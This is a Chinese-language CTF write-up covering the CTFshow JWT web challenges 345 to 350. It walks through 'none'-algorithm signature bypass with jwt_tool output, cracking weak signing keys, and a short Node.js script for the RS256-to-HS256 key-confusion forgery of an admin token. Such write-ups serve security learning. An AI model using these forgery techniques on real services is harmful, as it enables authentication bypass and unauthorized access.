CTFshow Web入门之JWT篇wp

news/2025/11/4 11:27:05/文章来源:https://www.cnblogs.com/DSchenzi/p/19189607

JWTwp

Web345(None空加密算法)

抓包后得到jwt

发现不存在第三部分的签证,也就不需要知道密钥。

image-20251031224517893

base64解码后将user改为admin

image-20251031224606717

尝试直接拼接,发现不行

image-20251031224637537

发现还有一步忘了,就是alg的类型应该写HS256

image-20251031224816399

拼接后,发现还是不行(没招了)

image-20251031224903625

看了wp之后发现是访问/admin/而不是/admin(jay师傅tql)

因为访问/admin表示访问admin.php而访问/admin/表示访问的是admin目录下默认的index.php

image-20251031225216246

Web346(None算法绕过签名)

抓包后先丢给jwt_tool看看

┌──(root㉿kali)-[~/桌面/jwt_tool]
└─# python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2MjE3MTcyMiwiZXhwIjoxNzYyMTc4OTIyLCJuYmYiOjE3NjIxNzE3MjIsInN1YiI6InVzZXIiLCJqdGkiOiJhNzAwZjlmYmE0MDkxODEwMDY2OWMxN2UyMDk2ZTQ2NCJ9.BsTAaCIf79OjhSWvG41pZOphIU0duJ7Fqm2eKcF1YW4\   \        \         \          \                    \ \__   |   |  \     |\__    __| \__    __|                    ||   |   \    |      |          |       \         \     ||        \   |      |          |    __  \     __  \    |\      |      _     |      |          |   |     |   |     |   ||     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |\______/ \__/     \__|   \__|      \__| \______/  \______/ \__|Version 2.3.0                \______|             @ticarpi      /root/.jwt_tool/jwtconf.ini
Original JWT: =====================
Decoded Token Values:
=====================Token header values:
[+] alg = "HS256"
[+] typ = "JWT"Token payload values:
[+] iss = "admin"
[+] iat = 1762171722    ==> TIMESTAMP = 2025-11-03 07:08:42 (UTC)
[+] exp = 1762178922    ==> TIMESTAMP = 2025-11-03 09:08:42 (UTC)
[+] nbf = 1762171722    ==> TIMESTAMP = 2025-11-03 07:08:42 (UTC)
[+] sub = "user"
[+] jti = "a700f9fba40918100669c17e2096e464"Seen timestamps:
[*] iat was seen
[*] exp is later than iat by: 0 days, 2 hours, 0 mins----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

某些服务端并未校验JWT签名,可以尝试修改payload后然后直接请求token或者直接删除signature再次请求查看其是否还有效。

使用工具对alg和sub

┌──(root㉿kali)-[~/桌面/jwt_tool]
└─# python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2MjE3MTcyMiwiZXhwIjoxNzYyMTc4OTIyLCJuYmYiOjE3NjIxNzE3MjIsInN1YiI6InVzZXIiLCJqdGkiOiJhNzAwZjlmYmE0MDkxODEwMDY2OWMxN2UyMDk2ZTQ2NCJ9.BsTAaCIf79OjhSWvG41pZOphIU0duJ7Fqm2eKcF1YW4 -T\   \        \         \          \                    \ \__   |   |  \     |\__    __| \__    __|                    ||   |   \    |      |          |       \         \     ||        \   |      |          |    __  \     __  \    |\      |      _     |      |          |   |     |   |     |   ||     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |\______/ \__/     \__|   \__|      \__| \______/  \______/ \__|Version 2.3.0                \______|             @ticarpi      /root/.jwt_tool/jwtconf.ini
Original JWT: ====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
====================================================================Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next stepPlease select a field number:
(or 0 to Continue)
> 1Current value of alg is: HS256
Please enter new value and hit ENTER
> none
[1] alg = "none"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next stepPlease select a field number:
(or 0 to Continue)
> 0Token payload values:
[1] iss = "admin"
[2] iat = 1762171722    ==> TIMESTAMP = 2025-11-03 07:08:42 (UTC)
[3] exp = 1762178922    ==> TIMESTAMP = 2025-11-03 09:08:42 (UTC)
[4] nbf = 1762171722    ==> TIMESTAMP = 2025-11-03 07:08:42 (UTC)
[5] sub = "user"
[6] jti = "a700f9fba40918100669c17e2096e464"
[7] *ADD A VALUE*
[8] *DELETE A VALUE*
[9] *UPDATE TIMESTAMPS*
[0] Continue to next stepPlease select a field number:
(or 0 to Continue)
> 5Current value of sub is: user
Please enter new value and hit ENTER
> admin
[1] iss = "admin"
[2] iat = 1762171722    ==> TIMESTAMP = 2025-11-03 07:08:42 (UTC)
[3] exp = 1762178922    ==> TIMESTAMP = 2025-11-03 09:08:42 (UTC)
[4] nbf = 1762171722    ==> TIMESTAMP = 2025-11-03 07:08:42 (UTC)
[5] sub = "admin"
[6] jti = "a700f9fba40918100669c17e2096e464"
[7] *ADD A VALUE*
[8] *DELETE A VALUE*
[9] *UPDATE TIMESTAMPS*
[0] Continue to next stepPlease select a field number:
(or 0 to Continue)
> 0
Signature unchanged - no signing method specified (-S or -X)
jwttool_aae00b6c362bf7862ab2f1c5c5665ada - Tampered token:
[+] eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2MjE3MTcyMiwiZXhwIjoxNzYyMTc4OTIyLCJuYmYiOjE3NjIxNzE3MjIsInN1YiI6ImFkbWluIiwianRpIjoiYTcwMGY5ZmJhNDA5MTgxMDA2NjljMTdlMjA5NmU0NjQifQ.BsTAaCIf79OjhSWvG41pZOphIU0duJ7Fqm2eKcF1YW4

image-20251103201656152

替换JWT,将本来属于alg的HS256部分给去掉,但是要保留最后的.

image-20251103201801289

Web347(弱口令密钥获取)

image-20251103202258047

得到密钥123456

image-20251103202313429

image-20251103202341584

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc2MjE3MjQ3NCwiZXhwIjoxNzYyMTc5Njc0LCJuYmYiOjE3NjIxNzI0NzQsInN1YiI6ImFkbWluIiwianRpIjoiMDJlMWMxY2E0MzdjYjM3OTRkZGJmOWUzYjFhNzI0MzkifQ.D5Rcc4ZshgqgOwgfBdxOQPbsOg9QkOISsY-53jf-hAA

image-20251103202333448

Web348(爆破密钥)

image-20251103202641243

密钥为aaab

后面做法跟上面一样

Web349(公钥私钥泄露)

/* GET home page. */
router.get('/', function(req, res, next) {res.type('html');var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });res.cookie('auth',token);res.end('where is flag?');});router.post('/',function(req,res,next){var flag="flag_here";res.type('html');var auth = req.cookies.auth;var cert = fs.readFileSync(process.cwd()+'//public/public.key');  // get public keyjwt.verify(auth, cert, function(err, decoded) {if(decoded.user==='admin'){res.end(flag);}else{res.end('you are not admin');}});
});

给了我们源码,告诉了我们公钥私钥

image-20251103203942592

image-20251103204014695

image-20251103204027124

然后JWT改一下,这里要转换一下请求方式用POST

image-20251103204159410

Web350(密钥混淆攻击RS256=>HS256)

给了我们源码

image-20251103205059715

这一段跟上一题一样

image-20251103205219346

image-20251103205300492

但是这里只能读取到公钥,私钥404了,且可以看到源码中alg是RS256

将RS256算法改为HS256(非对称密码算法=>对称密码算法)

HS256算法使用密钥为所有消息进行签名和验证。

而RS256算法则使用私钥对消息进行签名并使用公钥进行身份验证。

var express = require('express');
var router = express.Router();
var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync(process.cwd()+'/public/public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token)

image-20251103230504885

image-20251103230510253

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/955490.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

算力成本降低 33%,与光同尘用 Serverless AI 赋能影视商业内容生产

对与光同尘而言,阿里云函数计算不仅是技术工具,更是战略伙伴。它让一家初创影视公司得以用极低的门槛,获得媲美科技巨头的算力能力;让百人团队能发挥千人规模的生产力;让中国创意得以高效、低成本地走向世界。作者…

2025 年国内时钟系统厂家最新推荐排行榜:聚焦实力企业,助力各领域精准选品子母钟时钟系统/北斗时钟系统/网络时钟系统/ntp 时钟系统公司推荐

引言 在数字化转型加速推进的当下,时钟系统作为核电、电力、交通、医疗等关键领域的 “时间基准”,其精度与稳定性直接关乎行业运行安全与效率。然而当前市场中,时钟系统厂商技术水平悬殊,部分企业产品难以满足高端…

顶会论文解读:时序数据库 Apache IoTDB 中的时序数据压缩优化【VLDB 2025】

时序数据库 Apache IoTDB 顶会论文获中国信通院数据库应用创新实验室深度解读!时序数据库 Apache IoTDB 顶会论文获中国信通院数据库应用创新实验室深度解读!以下为详解原文: 本文对清华大学王建民教授团队、中国人…

ASP.NET Core Blazor 核心功能二:Blazor表单和验证

大家好,我是码农刚子。本文介绍了Blazor中EditForm组件的使用及表单验证方案。主要内容包括: 1)EditForm基础用法,通过Model参数绑定模型,使用DataAnnotationsValidator实现数据注解验证; 2)自定义验证规则实现…

2025年11月黄黑皮美白面霜推荐榜:十款持证淡斑产品口碑排行

站在镜子前,你或许正为肤色暗沉、痘印难消而反复试错:黄黑皮本身黑色素活跃,稍受紫外线或熬夜刺激,色斑便加深;市面美白成分常伴随刺痛、脱皮,敏感肌更不敢轻易尝试;再加上“持证”信息分散、浓度标注不清,选品…

2025年11月黄黑皮美白产品评测榜:十款温和提亮面霜排名一览

站在镜子前,你或许正为肤色暗沉、痘印难消而叹气:粉底盖不住,遮瑕又显灰,拍照永远靠滤镜。黄黑皮的美白诉求并非“一夜漂白”,而是希望在不刺激、不反黑的前提下,让肤色均匀、透亮、有生气。2025年《中国皮肤健康…

2025年11月常州光伏公司排名最新榜单:十大企业综合实力对比分析

摘要 随着碳中和目标的推进,常州光伏产业迎来新一轮发展机遇。本文基于企业规模、技术创新、市场口碑等维度,对常州光伏公司排名进行全面评估,旨在为行业投资者和终端用户提供参考。榜单数据来源于权威行业报告及企…

QP(状态机事件驱动型框架)

1 QP框架为什么简称QP QP 这个简称可以理解为: 1)Quantum(量子) + Platform(平台) = QP 2)量子跃迁是指微观粒子(如原子或分子)从一个量子态突然转变到另一个量子态的过程,伴随能量的吸收或释放。 3)一个借…

深圳市德恺检测有限公司:您的CNAS/CMA实验室认证咨询专业伙伴

深圳市德恺检测有限公司专注CNAS/CMA实验室认证一站式“包过”服务,10+年经验、500+成功案例,帮助企业高效获证,提升公信力与利润。覆盖双认证、扩项维护,适用于检测、校准领域,助力2025年市场竞争力。 在检测市场…

2025 最新智能食堂秤厂家/推荐排行榜:溯源 / 验收 / 留样秤品牌权威盘点及选购指南食堂验收智能秤/生鲜分拣智能秤/留样智能秤公司推荐

引言 智慧食堂建设的加速推进,让智能食堂秤成为保障食材计量精准、提升运营效率的核心设备,市场需求持续攀升。但当前市场乱象丛生:部分品牌缺乏核心技术,产品存在称重误差大、稳定性不足等问题;部分厂家服务体系…

贪心题目小结

题目壹 货物堆叠 时间限制:1秒 | 内存限制:128兆字节 题目描述 商店中有 n 件货物,每件货物 i 有重量 wi、初始体积 vi 和压缩系数 ci。将货物堆叠成一堆时,货物 i 的实际体积为 vi - ci * W,其中 W 是其上方所有…

faust-一个可以切换合成器音色的lfo demo

faust-一个可以切换合成器音色的lfo demoimport("stdfaust.lib");// 0 1 2 3: sin,tri,saw,square wave_shape = hslider("合成器波形选择[style:knob]",0,0,3,1);// 0 1 2 3: sin,tri,saw,square…

AGC052 VP

AGC 052 [AGC052A] Long Common Subsequence skip。 [AGC052B] Tree Edges XOR 给定一棵树,每条边有初始权值和目标权值,每次可以选择一条当前权值为 \(w\) 连接 \(u\),\(v\) 的边,将其他与 \(u\) 或 \(v\) 相连的…

2025 年液位计厂家最新推荐榜单:涵盖投入式 / 磁致伸缩 / 防爆 / 防水 / 浮球等类型,全面解析行业领先品牌技术与市场优势

引言 在工业生产与各类工程应用中,液位计是保障生产安全、提升效率的关键设备。但当前市场品牌繁杂,产品性能差异显著,为帮助用户精准选择,行业协会联合专业测评机构开展了 2025 年液位计品牌测评工作。 测评采用多…

落地案例分享 | 个人决策平台界面设计

落地案例分享 | 个人决策平台界面设计

2025学习机黑马登场!松鼠AI S20实测两个月——孩子主动刷题、精准提分不是梦

🏁 开篇:松鼠AI S20,2025年学习机中的真正黑马 2025年9月选学习机时,我没有追随“热门大牌”,而是选择了深耕自适应教育11年的专业品牌——松鼠AI。最终花近6000元入手它的旗舰机型:松鼠AI S20学习机。 作为测评…

【URP】Unity[后处理]颜色查询ColorLookup

技术定义与核心作用 ColorLookup是基于LUT(Lookup Table)技术的颜色映射系统,通过预定义的256x16像素条状PNG纹理实现全局色彩替换。其核心价值在于: ‌风格统一‌:批量修【从UnityURP开始探索游戏渲染】专栏-直达…

2025年11月常州光伏公司排名:前十强企业综合评估与选择指南

摘要 随着全球能源转型加速,常州作为中国光伏产业的重要基地,近年来在光伏技术研发、制造和应用领域取得了显著进展。本文基于行业数据、企业口碑及技术实力,整理出常州光伏公司排名前十的榜单,旨在为投资者、合作…

11/4

11/411:05基础 HTTP GET 接口请求测试操作步骤: 1.打开 JMeter,新建测试计划,右键添加线程组”(线程数1、循环次数1)。 2.线程组下添加HTTP请求”,服务器名称/IP填写httpbin.org,端口80,请求方法选GET,路径填写…